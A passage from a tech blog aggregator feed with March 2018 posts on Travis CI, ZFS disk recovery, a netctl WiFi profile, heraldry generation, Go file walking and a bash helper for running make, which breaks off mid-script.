&lt;p&gt;Do not get me started on supporting older and newer package versions…&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Nonetheless, I am grateful for the Travis CI engineers. They are doing a heck of
a job just so that I can pretend that my GitHub projects are actually useful to
someone out there. Thank you (I really mean it)!&lt;/p&gt;
&lt;h1 id="coda"&gt;Coda&lt;/h1&gt;
&lt;p&gt;All in all, Travis CI has been very beneficial for my projects. I sleep a little
bit better knowing that I do not have to worry about breaking my algorithms just
by changing the interface somewhere else.
Even though it has it shortcomings—but nothing is perfect—I urge you
to consider using it for your projects and your publications!&lt;/p&gt;
&lt;p&gt;By the way: if you are a hardcore Bitbucket user, take a look at
&lt;a href="https://bitbucket.org/product/features/pipelines"&gt;Pipelines&lt;/a&gt;. They provide
similar functionality for those of us that are not living in the land of GitHub.&lt;/p&gt;
&lt;p&gt;Happy coding/testing/integrating, until next time!&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Tue, 13 Mar 2018 21:34:19 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2018/travis_ci_thoughts/</guid></item><item><title>Anatomy of the heart</title><link>https://codeexplainer.wordpress.com/2018/03/13/anatomy-of-the-heart/</link><description>This heart-shaped program is written in the language of choice for producing unreadable and obfuscated code: Perl 5. It also serves an unusual purpose of a proposal. Who wrote the code? The code was published on PerlMonks in 2004 by &amp;#8230; &lt;a href="https://codeexplainer.wordpress.com/2018/03/13/anatomy-of-the-heart/"&gt;Continue reading &lt;span class="meta-nav"&gt;&amp;#8594;&lt;/span&gt;&lt;/a&gt;</description><author>Code Explainer</author><pubDate>Tue, 13 Mar 2018 10:01:46 GMT</pubDate><guid isPermaLink="true">https://codeexplainer.wordpress.com/2018/03/13/anatomy-of-the-heart/</guid></item><item><title>Video of my talk at Lua Workshop 2017</title><link>https://makedist.com/posts/2018/03/13/video-of-my-talk-at-lua-workshop-2017/</link><description>Creating active objects with Lua in the Ceph distributed storage system.</description><author>Noah Watkins</author><pubDate>Tue, 13 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://makedist.com/posts/2018/03/13/video-of-my-talk-at-lua-workshop-2017/</guid></item><item><title>RIP PowerBook</title><link>https://jasoneckert.github.io/myblog/rip-powerbook/</link><description>&lt;p&gt;&lt;img alt="PowerBook" src="powerbook.png#center" title="PowerBook" /&gt;&lt;/p&gt;
&lt;p&gt;I took the picture at the top of this post sitting in Starbucks recently with my trusty, 12-year-old PowerBook G4 laptop from Apple.  Those sitting around me have no idea how ancient my laptop is - they probably see the glow from the Apple logo on the back and realize that it’s just another Apple laptop.&lt;/p&gt;
&lt;p&gt;But it’s more than just another laptop to me.  It’s written over a dozen textbooks for various publishers, created countless curriculum documents for my college, and given well over a hundred presentations.  It’s done the work of 20 laptops.&lt;/p&gt;</description><author>Jason Eckert's Website and Blog</author><pubDate>Tue, 13 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://jasoneckert.github.io/myblog/rip-powerbook/</guid></item><item><title>Ford just patented a hijacking system</title><link>https://stop.zona-m.net/2018/03/ford-just-patented-a-hijacking-system/</link><description>&lt;p&gt;Ford has applied for a patent that would let criminals attach themselves to your vehicle and hijack you and your kids wherever they want.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Mon, 12 Mar 2018 15:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/03/ford-just-patented-a-hijacking-system/</guid></item><item><title>Pi</title><link>https://ilearnt.com/blog/piday/</link><description>&lt;p&gt;This page is devoted to maths and in particular pi. The answer to the second question on this page is unexpected and I love the energy the maths teacher brings to the class in the video. I had some okay maths teachers but never one quite like this.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Mon, 12 Mar 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/piday/</guid></item><item><title>When Disks Die: A ZFS Recovery Post-Mortem</title><link>https://blog.tjll.net/when-disks-die-zfs/</link><description>&lt;p&gt;
I read a lot of tech success stories, but most of them revolve around building out or creating cool stuff.
Last week, I had a catastrophic disk failure, and all I wanted was to find some recorded notes about disk recovery in Linux with ZFS.
This is a record of my experience to illustrate the strength and maturity of ZFS on Linux and potentially help anyone in a similar situation in the future.
&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;
For some context so you know what I'm working with:
&lt;/p&gt;
&lt;ul class="org-ul"&gt;
&lt;li&gt;I'm on Arch Linux using ZFS on Linux. Think whatever you want about the bleeding-edgeness of Arch and novelty of ZoL, but both have been extraordinarily stable for me and a pleasure to use.&lt;/li&gt;
&lt;li&gt;My array is 4 disks in a RAIDZ2. &lt;a href="http://jrs-s.net/2015/02/06/zfs-you-should-use-mirror-vdevs-not-raidz/"&gt;I know that I shouldn't do this&lt;/a&gt; (Hi Jim!), but it's on my to-do list to fix. At least I can lose lots of disks and be okay.&lt;/li&gt;
&lt;li&gt;My use case for ZFS is "pretty much everything". I host my media for Kodi over Samba and DLNA, git repos, all my persistent datastores (Postgresql/MySQL, Elasticsearch, etc.), my illustrious Minecraft server for my friends and family, and plenty more.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
As a very minor side note, I'm trying to write more technically-inclined articles, but usually try way too hard to make them formal and perfect, so this is going to be a little stream-of-consciousness.
Apologies if it's hard to follow!
&lt;/p&gt;
&lt;div class="outline-4" id="outline-container-the-failure"&gt;
&lt;h4 id="the-failure"&gt;The Failure&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-orgc8cb087"&gt;
&lt;p&gt;
A couple of days before I was set to fly to San Francisco for &lt;a href="https://www.elastic.co/elasticon/conf/2018/sf"&gt;a conference&lt;/a&gt;, accessing my NAS got sluggish.
I centralize any state I care about on my fileserver, from my private &lt;a href="http://gitolite.com/gitolite/"&gt;gitolite&lt;/a&gt; repositories to my wedding photos, so this data is &lt;i&gt;kind&lt;/i&gt; of important.
The first signs of slowdown came when using my various Kodi setups in my house: reads and writes to their shared MySQL storage backend (hosted on my NAS) started to hang.
&lt;/p&gt;

&lt;p&gt;
Side note: I run &lt;code&gt;zfs scrub&lt;/code&gt; on a systemd timer, but my automation to alert me to failed scrubs (which were indeed failing) wasn't properly alerting me.
There's a lesson here about validating your automation, but that's a task for another time.
&lt;/p&gt;

&lt;p&gt;
The first step is always to check the storage pool.
Typically, the healthy disks look like this:
&lt;/p&gt;

&lt;pre class="example" id="orgdc76b68"&gt;
&lt;code&gt;NAME                                           STATE     READ WRITE CKSUM&lt;/code&gt;
&lt;code&gt;tank                                           ONLINE       0     0     0&lt;/code&gt;
&lt;code&gt;  raidz2-0                                     ONLINE       0     0     0&lt;/code&gt;
&lt;code&gt;    ata-&amp;lt;disk id&amp;gt;                              ONLINE       0     0     0&lt;/code&gt;
&lt;code&gt;    ...more disks...                           ONLINE       0     0     0&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
Without any checksum errors.
This time, I had:
&lt;/p&gt;

&lt;pre class="example" id="org78cd594"&gt;
&lt;code&gt;NAME                                       STATE     READ WRITE      CKSUM&lt;/code&gt;
&lt;code&gt;ata-&amp;lt;disk id&amp;gt;                              ONLINE       0     0 &amp;lt;not-zero&amp;gt;&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
No bueno.
The first step I wanted to take was to verify that something was awry with the disk, so I first cleared any errors:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;sudo zpool clear tank&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
And initiated a new &lt;code&gt;scrub&lt;/code&gt;.
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;sudo zpool scrub tank&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
That kicked off a scrub, but I wanted (naturally) to see how the scrub was progressing.
Turns out that any subsequent invocations of &lt;code&gt;zpool status tank&lt;/code&gt; hung &lt;i&gt;forever&lt;/i&gt;.
When I say frozen, I mean that any &lt;code&gt;kill -9&lt;/code&gt; on related process got stuck as well &amp;ndash; it was bad.
&lt;/p&gt;

&lt;p&gt;
I ended up rebooting, and at that point, any attempts to &lt;code&gt;zpool import tank&lt;/code&gt; also hung at the terminal.
I've got pool problems.
After ordering another disk off Amazon (priorities), I started to dig into what could be happening.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-the-debugging"&gt;
&lt;h4 id="the-debugging"&gt;The Debugging&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-org142453d"&gt;
&lt;p&gt;
Unfortunately, failures like this one &amp;ndash; frozen ZFS utility commands &amp;ndash; didn't turn up widely on any search engines.
Most ZFS tutorials are concerned with setup/replacement of pools, so coming up with a path forward that &lt;i&gt;didn't&lt;/i&gt; involve blindly carving up my data made me a little nervous.
&lt;/p&gt;

&lt;p&gt;
I ended up heading to &lt;code&gt;#zfsonlinux&lt;/code&gt; in freenode and received prompt and helpful guidance from the members there.
Score a point for ZFS on Linux; the IRC community is available and friendly.
&lt;/p&gt;

&lt;p&gt;
I wish I had remembered to keep a transcript of the chat log, but the &lt;b&gt;tl;dr&lt;/b&gt; came down to somebody suggesting to disconnect the disk wholesale.
Funnily enough, someone also taught me something cool I didn't know: you can &lt;i&gt;also&lt;/i&gt; simulate pulling the plug on the disk by manipulating your virtual filesystem:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;&lt;span class="org-builtin"&gt;echo&lt;/span&gt; 1 &amp;gt; /sys/block/sda/device/delete&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
Unfortunately for me, even trying to traverse anywhere in that device's directory in my &lt;code&gt;/sys&lt;/code&gt; caused my shell to lock up, so I really had problems.
Time to go caveman on my disk.
&lt;/p&gt;


&lt;div class="figure" id="orgb958c75"&gt;
&lt;p&gt;&lt;img alt="rawdisk.jpg" class="righty" src="../assets/images/rawdisk.jpg" /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span class="figure-number"&gt;Figure 1: &lt;/span&gt;THE CULPRIT. Does seeing a disk's platters exposed hurt you?&lt;/p&gt;
&lt;/div&gt;

&lt;p&gt;
The process wasn't difficult &amp;ndash; I've got my 4-disk RAIDZ2 array housed in an old HP ProLiant N40L microserver, so it was just a matter of shutting it down, opening the bay door, and pulling out the caddy &amp;ndash; but it's still a little surreal to cannibalize your own hardware.
&lt;/p&gt;

&lt;p&gt;
After closing up my server and starting up again, my &lt;code&gt;zpool&lt;/code&gt; commands work again &amp;ndash; hooray! &amp;ndash; but I am, of course, missing a disk according to &lt;code&gt;zpool status&lt;/code&gt;.
At the very least, I've determined that yes, my disk must have failed &lt;i&gt;so hard&lt;/i&gt; that even I/O calls from userspace caused bad lockups and the disk must be really, truly dead.
&lt;/p&gt;

&lt;p&gt;
However, that's good news.
While I do have a dead member of my zpool, I can still use my pool to read and write data normally since RAIDZ2 operates with two parity drives &amp;ndash; I'm just operating in a degraded state.
I could have bigger problems, like some bad metadata due to faulty RAM.
However, I'm running with ECC memory, and since I can use my pool normally, we've got a typical case of device-needs-to-be-replaced instead of pool-is-corrupted-somehow, just with the minor complication of the need to physically remove the disk to get my system healthy again.
&lt;/p&gt;

&lt;p&gt;
So: removed disk, need to fix it.
This is the hard part, right?
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-the-fix"&gt;
&lt;h4 id="the-fix"&gt;The Fix&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-orgf4d151b"&gt;
&lt;p&gt;
Shut off the server, insert the new disk, boot up, and:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;sudo zpool replace tank &amp;lt;numeric id&amp;gt; /dev/disk/by-id/&amp;lt;new disk id&amp;gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
And that was it.
All of the data is still usable, but resilvering is happening in the background.
As an ops person, a) removing my old disk, b) adding a new one, c) replicating the data and d) doing so without downtime with one command is kind of surreal, but there it is.
My resilvering took a while (days), but I'm back at 100% without any data loss.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-lessons-learned"&gt;
&lt;h4 id="lessons-learned"&gt;Lessons Learned&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-orgff3d419"&gt;
&lt;p&gt;
You thought you could get away without this part, huh?
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;&lt;b&gt;RAID IS NOT A BACKUP&lt;/b&gt;. I didn't go into the details here, but I mirror my dataset snapshots to a &lt;i&gt;remote&lt;/i&gt; disk on a nightly basis because &lt;code&gt;zfs send&lt;/code&gt; makes this brain dead easy. Even when I considered the possibility that my pool might be corrupted and gone, I wasn't that worried since I've got backups on a remote system. Remember, RAID helps with availability and is &lt;i&gt;not&lt;/i&gt; a backup solution.&lt;/li&gt;
&lt;li&gt;Hardware can really screw you up. I was expecting my first disk failure to take the form of a bad scrub followed by a clean replace, but this experience should illustrate that in the case of &lt;i&gt;really&lt;/i&gt; bad hardware, you've got to be prepared to hard swap problematic devices.&lt;/li&gt;
&lt;li&gt;ECC is worth the peace of mind on important systems. Whether you're using ZFS or &lt;i&gt;any&lt;/i&gt; filesystem (seriously, it's not just ZFS, I don't know why people highlight ZFS when they talk about RAM going bad), eliminating one potential variable is really valuable. It severely cut down my list of potential culprits.&lt;/li&gt;
&lt;li&gt;Pay attention to your disks' physical sector size. When I bought my new disk, I goofed and bought one with a different sector size than my existing pool members, so I had to include &lt;code&gt;-o ashift=9&lt;/code&gt; in my replace command. Fortunately, ZFS can accommodate blunders like that.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;</description><author>Tyblog</author><pubDate>Mon, 12 Mar 2018 08:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.tjll.net/when-disks-die-zfs/</guid></item><item><title>I Allowed All Web Push Notifications for a Week</title><link>https://blog.varunramesh.net/posts/i-allowed-all-web-push-notifications-for-a-week/</link><description>As an experiment, I decided to allow all push notifications for a week.</description><author>Varun Ramesh's Blog</author><pubDate>Mon, 12 Mar 2018 06:12:14 GMT</pubDate><guid isPermaLink="true">https://blog.varunramesh.net/posts/i-allowed-all-web-push-notifications-for-a-week/</guid></item><item><title>Cobalt Dungeon for iOS is now available</title><link>https://thomashunter.name/posts/2018-03-12-cobalt-dungeon-for-ios-is-now-available</link><author>Thomas Hunter II</author><pubDate>Mon, 12 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2018-03-12-cobalt-dungeon-for-ios-is-now-available</guid></item><item><title>Heraldry Generation Pt. 1: Basics</title><link>https://benovermyer.com/blog/2018/03/heraldry-generation-pt-1-basics/</link><description>&lt;p&gt;Awhile back I noted that I was beginning to work on a random fantasy setting generation project. This is the first piece of that.&lt;/p&gt;
&lt;p&gt;It represents part of the design philosophy of the setting generator: each piece does one thing, it does it well, and it does it in a way that can be shared amongst the ecosystem.&lt;/p&gt;
&lt;p&gt;The heraldry generator starts out life, then, with this guiding principle: output an image in a common format that can be programmatically modified, along with the necessary metadata to describe what's in the image for both humans and machines.&lt;/p&gt;
&lt;p&gt;For the image format, I chose SVG. It's basically just XML, which makes it easy to modify, and it's relatively small. Also, it's a vector format, which makes it trivial to scale without degradation.&lt;/p&gt;
&lt;p&gt;For rapidity of development, I chose to code the generator in PHP. I may rewrite it in a more performant language later if necessary. For now though, this serves my purposes.&lt;/p&gt;
&lt;p&gt;Initially, I used a pre-existing library that handles SVG. However, after I got the initial plain-field version working, I discovered that the library doesn't support &lt;code&gt;&amp;lt;mask&amp;gt;&lt;/code&gt; elements yet, which meant I wouldn't be able to easily generate field divisions and clip them.&lt;/p&gt;
&lt;p&gt;The second iteration, then, stripped out that library and went straight for raw XML manipulation. This ended up working much better for several other things, including arbitrary attribute manipulation.&lt;/p&gt;
&lt;p&gt;Heraldry adheres to certain rules. Coats of arms are basically like modern-day road signs; they exist to communicate clearly at a distance. So here are the rules I'm assuming for the generator:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;If a charge is a metal, its field may not be primarily a metal, and likewise with colors.&lt;/li&gt;
&lt;li&gt;Only fields and charges common to Continental heraldry in the era between the 10th and 16th centuries will be considered.&lt;/li&gt;
&lt;li&gt;Tinctures will include colors, metals, and furs common for the era. English “stains” like &lt;em&gt;sanguine&lt;/em&gt; will not be included.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I may modify this list later, but it's my guiding set right now.&lt;/p&gt;
&lt;p&gt;At the moment, the generator only creates coats of arms with basic fields. It's either a single color, or includes &lt;em&gt;per fess&lt;/em&gt; or &lt;em&gt;per pale&lt;/em&gt; divisions, also in colors. Metals are being reserved for charges at the moment, which are not included yet.&lt;/p&gt;
&lt;p&gt;Here's a simple example of a plain field:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Basic Field" src="https://benovermyer.com/heraldry-basic-field.svg" /&gt;&lt;/p&gt;
&lt;p&gt;The tincture generation is being done at a higher level so that the program is aware of which tinctures are used in the entire design. This is so it can avoid violating the first rule.&lt;/p&gt;
&lt;p&gt;However, sometimes the divisions are generated in the same color (e.g., &lt;em&gt;azure&lt;/em&gt; next to &lt;em&gt;azure&lt;/em&gt;). I'll need to fix this in the next iteration.&lt;/p&gt;
&lt;p&gt;The below image may look identical to the first one, but it's actually divided, just with both halves being &lt;em&gt;vert&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Duplicate Colors in a Division" src="https://benovermyer.com/heraldry-duplicate-colors.svg" /&gt;&lt;/p&gt;
&lt;p&gt;Still, the basic design looks reasonable thus far. Here's a simple &lt;em&gt;per fess&lt;/em&gt; example:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Basic Division" src="https://benovermyer.com/heraldry-basic-division.svg" /&gt;&lt;/p&gt;
&lt;p&gt;The source code for the generator is available &lt;a href="https://github.com/ironarachne/heraldry" rel="external"&gt;on GitHub&lt;/a&gt;.&lt;/p&gt;</description><author>Ben Overmyer's Site</author><pubDate>Mon, 12 Mar 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://benovermyer.com/blog/2018/03/heraldry-generation-pt-1-basics/</guid></item><item><title>A netctl profile for ETH Zurich</title><link>https://bastian.rieck.me/blog/2018/netctl_eth_zurich/</link><description>&lt;p&gt;&lt;a href="https://www.ethz.ch/de.html"&gt;ETH Zurich&lt;/a&gt; offers multiple wireless
networks around campus. Our local IT people drilled into me that I
should prefer to use the &lt;code&gt;eth-5&lt;/code&gt; SSID whenever possible. Obviously
I had to figure out a way to support this profile for &lt;code&gt;netctl&lt;/code&gt;. If
you count yourself among the few, the happy few, the band of users
if this fine piece of software, here is what you have to do:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Create a new file &lt;code&gt;/etc/netctl/WiFi_eth5&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Paste the following file, while taking care to replace &lt;code&gt;$USER&lt;/code&gt;
with your ETH username and &lt;code&gt;$PASSWORD&lt;/code&gt; with your ETH &lt;em&gt;network&lt;/em&gt;
password (this is &lt;em&gt;not&lt;/em&gt; your regular login password; I am
talking about the &lt;em&gt;other&lt;/em&gt; one), and &lt;code&gt;$INTERFACE&lt;/code&gt; with the WiFi
interface, e.g. &lt;code&gt;wlp4s0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Activate the new profile with &lt;code&gt;netctl start WiFi_eth5&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;!-- Nice code --&gt;
&lt;pre&gt;&lt;code&gt;Description='ETH'
Interface='$INTERFACE'
Connection='wireless'
IP='dhcp'
ESSID='eth-5'
Security='wpa-configsection'
WPAConfigSection=(
  'ssid=&amp;quot;eth-5&amp;quot;'
        'key_mgmt=WPA-EAP'
  'eap=PEAP'
  'proto=WPA RSN'
  'identity=&amp;quot;$USER&amp;quot;'
  'password=&amp;quot;$PASSWORD&amp;quot;'
  'phase2=&amp;quot;auth=MSCHAPV2&amp;quot;'
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Happy surfing, until next time!&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Sun, 11 Mar 2018 22:10:39 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2018/netctl_eth_zurich/</guid></item><item><title>A quick comparison between different Go file walk implementations</title><link>https://boyter.org/2018/03/quick-comparison-go-file-walk-implementations/</link><description>&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt; The below is here for historical reasons, but since 2021 very out of date. See this post &lt;a href="https://engineering.kablamo.com.au/posts/2021/quick-comparison-between-go-file-walk-implementations"&gt;https://engineering.kablamo.com.au/posts/2021/quick-comparison-between-go-file-walk-implementations&lt;/a&gt; for an updated comparison.&lt;/p&gt;
&lt;p&gt;Whats the fastest way to get all the names of all files in a directory using Go? I had a feeling that the native walk might not be the fastest way to do it. A quick search showed that several projects claimed to be faster. Since the &lt;a href="https://github.com/boyter/scc"&gt;application&lt;/a&gt; I am currently working on needs a high performance scanner I thought I would try the main ones out.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Sun, 11 Mar 2018 11:58:51 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2018/03/quick-comparison-go-file-walk-implementations/</guid></item><item><title>Running `make` from anywhere</title><link>https://purpleidea.com/blog/2018/03/10/running-make-from-anywhere/</link><description>&lt;p&gt;Sometimes while I&amp;rsquo;m deep inside &lt;a href="https://github.com/purpleidea/mgmt/"&gt;mgmt&lt;/a&gt;&amp;rsquo;s
project directory, I want to run an operation from the &lt;code&gt;Makefile&lt;/code&gt; which lives in
the root! Unfortunately, if you do so while nested, you&amp;rsquo;ll just get:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-bash"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;james@computer:~/code/mgmt/resources$ make build
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;make: *** No rule to make target &lt;span style="color: #b44;"&gt;'build'&lt;/span&gt;.  Stop.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;br /&gt;&lt;span style="text-decoration: underline; font-weight: bold;"&gt;The Ten Minute Solution&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;

&lt;p&gt;I figured I&amp;rsquo;d hack out a quick solution. What I came up with looks like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-bash"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #080;"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #080;"&gt;&lt;/span&gt;&lt;span style="color: #080; font-style: italic;"&gt;# James Shubin, 2018&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #080; font-style: italic;"&gt;# run `make` in the first directory (or its parent recursively) that it works in&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #b8860b;"&gt;MF&lt;/span&gt;&lt;span style="color: #666;"&gt;=&lt;/span&gt;&lt;span style="color: #b44;"&gt;'Makefile'&lt;/span&gt;	&lt;span style="color: #080; font-style: italic;"&gt;# looks for this file, could look for others, but that's silly&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #b8860b;"&gt;CWD&lt;/span&gt;&lt;span style="color: #666;"&gt;=&lt;/span&gt;&lt;span style="color: #a2f; font-weight: bold;"&gt;$(&lt;/span&gt;&lt;span style="color: #a2f;"&gt;pwd&lt;/span&gt;&lt;span style="color: #a2f; font-weight: bold;"&gt;)&lt;/span&gt;	&lt;span style="color: #080; font-style: italic;"&gt;# starting here&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #a2f; font-weight: bold;"&gt;while&lt;/span&gt; true; &lt;span style="color: #a2f; font-weight: bold;"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #a2f; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #666;"&gt;[&lt;/span&gt; -e &lt;span style="color: #b44;"&gt;"&lt;/span&gt;&lt;span style="color: #b8860b;"&gt;$MF&lt;/span&gt;&lt;span style="color: #b44;"&gt;"&lt;/span&gt; &lt;span style="color: #666;"&gt;]&lt;/span&gt;; &lt;span style="color: #a2f; font-weight: bold;"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;		make &lt;span style="color: #b8860b;"&gt;$@&lt;/span&gt;		&lt;span style="color: #080; font-style: italic;"&gt;# run make!&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;		&lt;span style="color: #b8860b;"&gt;e&lt;/span&gt;&lt;span style="color: #666;"&gt;=&lt;/span&gt;&lt;span style="color: #b8860b;"&gt;$?&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;		&lt;span style="color: #a2f;"&gt;cd&lt;/span&gt; &lt;span style="color: #b44;"&gt;"&lt;/span&gt;&lt;span style="color: #b8860b;"&gt;$CWD&lt;/span&gt;&lt;span style="color: #b44;"&gt;"&lt;/span&gt;	&lt;span style="color: #080; font-style: italic;"&gt;# go home first&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;		&lt;span style="color: #a2f;"&gt;exit&lt;/span&gt; &lt;span style="color: #b8860b;"&gt;$e&lt;/span&gt;		&lt;span style="color: #080; font-style: italic;"&gt;# pass on the exit status&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #a2f; font-weight: bold;"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #080; font-style: italic;"&gt;# stop if we get home&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #a2f; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #666;"&gt;[&lt;/span&gt; &lt;span style="color: #b44;"&gt;"&lt;/span&gt;&lt;span style="color: #a2f; font-weight: bold;"&gt;$(&lt;/span&gt;&lt;span style="color: #a2f;"&gt;pwd&lt;/span&gt;&lt;span style="color: #a2f; font-weight: bold;"&gt;)&lt;/span&gt;&lt;span style="color: #b44;"&gt;"&lt;/span&gt; &lt;span style="color: #666;"&gt;=&lt;/span&gt; &lt;span style="color: #b44;"&gt;"&lt;/span&gt;&lt;span style="color: #b8860b;"&gt;$HOME&lt;/span&gt;&lt;span style="color: #b44;"&gt;"&lt;/span&gt; &lt;span style="color: #666;"&gt;]&lt;/span&gt;; &lt;span style="color: #a2f; font-weight: bold;"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;		&lt;span style="color: #a2f;"&gt;cd&lt;/span&gt; &lt;span style="color: #b44;"&gt;"&lt;/span&gt;&lt;span style="color: #b8860b;"&gt;$CWD&lt;/span&gt;&lt;span style="color: #b44;"&gt;"&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;		&lt;span style="color: #a2f;"&gt;exit&lt;/span&gt; 2		&lt;span style="color: #080; font-style: italic;"&gt;# the exit status of `make` when it errors&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #a2f; font-weight: bold;"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #080; font-style: italic;"&gt;#echo "searching..."&lt;/span&gt;
